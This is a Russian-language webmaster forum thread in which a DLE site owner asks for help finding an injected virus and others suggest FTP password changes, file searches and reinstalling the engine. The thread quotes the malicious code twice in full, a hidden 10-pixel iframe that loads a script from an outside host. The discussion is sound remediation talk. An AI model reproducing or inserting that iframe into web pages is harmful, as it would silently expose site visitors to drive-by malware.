X   Сообщение сайта
(Сообщение закроется через 3 секунды)



 

Здравствуйте, гость (

| Вход | Регистрация )

2 страниц V   1 2 >
Открыть тему
Тема закрыта
> Вирус на сайте мож кто знает такой?
tsa
tsa
Topic Starter сообщение 26.9.2011, 18:34; Ответить: tsa
Сообщение #1


Здравствуйте форумчане, может кто сталкивался с данным вирусом на сайте и знает в каком файле он лежит?

помогите плз уже глаза болят просматривать весь движок DLE 9.3


[noindex][li][!--LiveInternet counter--][iframe src="http://wap.tuz.az/1/local/privat/c.php" width="10"
height="10" style="visibility:hidden;position:absolute;left:0;top:0;"][/iframe]


Сообщение отредактировал tsa - 26.9.2011, 18:35


--------------------
0
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
serhio11
serhio11
сообщение 26.9.2011, 18:57; Ответить: serhio11
Сообщение #2


(tsa @ 26.9.2011, 18:34) *
Здравствуйте форумчане, может кто сталкивался с данным вирусом на сайте и знает в каком файле он лежит?

помогите плз уже глаза болят просматривать весь движок DLE 9.3


[noindex][li][!--LiveInternet counter--][iframe src="http://wap.tuz.az/1/local/privat/c.php" width="10"
height="10" style="visibility:hidden;position:absolute;left:0;top:0;"][/iframe]


Так удалите эту строчку! Или снова появляется?
У меня подобное было на одном сайте. Удаляешь, через какое то время опять появляется. Помогла смена пароля на ftp доступ к сайту, который хранился в Total Commander.
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
tsa
tsa
Topic Starter сообщение 26.9.2011, 19:00; Ответить: tsa
Сообщение #3


(serhio11 @ 26.9.2011, 18:57) *
Так удалите эту строчку! Или снова появляется?
У меня подобное было на одном сайте. Удаляешь, через какое то время опять появляется. Помогла смена пароля на ftp доступ к сайту, который хранился в Total Commander.

я не могу вообще найти где эта строчка с вирусои лежит! мне яндекс укозал какой код и все !


--------------------
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
serhio11
serhio11
сообщение 26.9.2011, 19:10; Ответить: serhio11
Сообщение #4


(tsa @ 26.9.2011, 19:00) *
я не могу вообще найти где эта строчка с вирусои лежит! мне яндекс укозал какой код и все !


Скачайте бэкап сайта на локальный комп. И по всей папке поиск по содержимому файлов запустите с этой строчкой. Total Commander`ом можно.
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
tsa
tsa
Topic Starter сообщение 26.9.2011, 19:21; Ответить: tsa
Сообщение #5


(serhio11 @ 26.9.2011, 19:10) *
Скачайте бэкап сайта на локальный комп. И по всей папке поиск по содержимому файлов запустите с этой строчкой. Total Commander`ом можно.

Поиск не дал результатов =( наверно как то зашифрован данный код =(


--------------------
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
infant
infant
сообщение 26.9.2011, 19:38; Ответить: infant
Сообщение #6


в личку напишите, попробую помочь найти вашу беду. Весь двиг перебирать не буду, но самые подверженные файлы пройдусь на предмет лишнего в них.


Поблагодарили: (1)
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
Grouom
Grouom
сообщение 27.9.2011, 14:01; Ответить: Grouom
Сообщение #7


Самый простой способ удалить вирус - заменить движок (перезалить). Если конечно в него не вносились изменения...
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
algaretio
algaretio
сообщение 27.9.2011, 21:21; Ответить: algaretio
Сообщение #8


Он может быть в папке Engine, в engine/data/config.php, если не ошибаюсь, также можете проверить dbconfig.php, код может быть зашифрован. Лучше вообще поставить на эти файлы 644, конечно тогда в админке не сможете менять настройки движка, но тут уж выбирайте smile.gif

Сообщение отредактировал algaretio - 27.9.2011, 21:22


--------------------
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
МIX
МIX
сообщение 27.9.2011, 21:43; Ответить: МIX
Сообщение #9


Вирусы обычно заражают по 500...800 файлов.
Удаление вирусов с сайта интересует? Пишите в ЛС, а лучше, в аську сразу.

Сообщение отредактировал МIX - 27.9.2011, 21:44
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
tsa
tsa
Topic Starter сообщение 23.3.2012, 12:06; Ответить: tsa
Сообщение #10


Блин полгода не появлялся этот вирус думал удалил вот снова появился как его найти вотд код вируса

<iframe src="http://wap.tuz.az/1/local/privat/c.php" width="10"
height="10" style="visibility:hidden;position:absolute;left:0;top:0;"></iframe>

он наверно как то зашифрован и в ручную искал и сервисами ни чего не дало результатов =(


--------------------
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
2 страниц V   1 2 >
Открыть тему
Тема закрыта
2 чел. читают эту тему (гостей: 2, скрытых пользователей: 0)
Пользователей: 0


Свернуть

> Похожие темы

  Тема Ответов Автор Просмотров Последний ответ
Открытая тема (нет новых ответов) Кто где хранит файлы? И какой объем?
просто интересно
19 mark2013 1990 25.3.2024, 6:42
автор: Skyworker
Горячая тема (нет новых ответов) LITE.HOST - хостинг для тех, кто любит не переплачивать
73 akkyoh 30443 24.3.2024, 18:28
автор: Kseniya_Klimova
Открытая тема (нет новых ответов) Пишет кто отзывы на сайт в янднекс с разных аккаунтах
1 TenDemon_rs 1128 22.3.2024, 13:18
автор: writer80
Горячая тема (нет новых ответов) CryptoCloud — прием USDT, BTC, ETH, LTC на любом сайте
34 CryptoCLoud 10077 18.3.2024, 16:56
автор: CryptoCLoud
Открытая тема (нет новых ответов) Странный трафик на сайте длительное время
26 TABAK 7523 16.3.2024, 17:31
автор: Boymaster


 



RSS Текстовая версия Сейчас: 29.3.2024, 4:06
Дизайн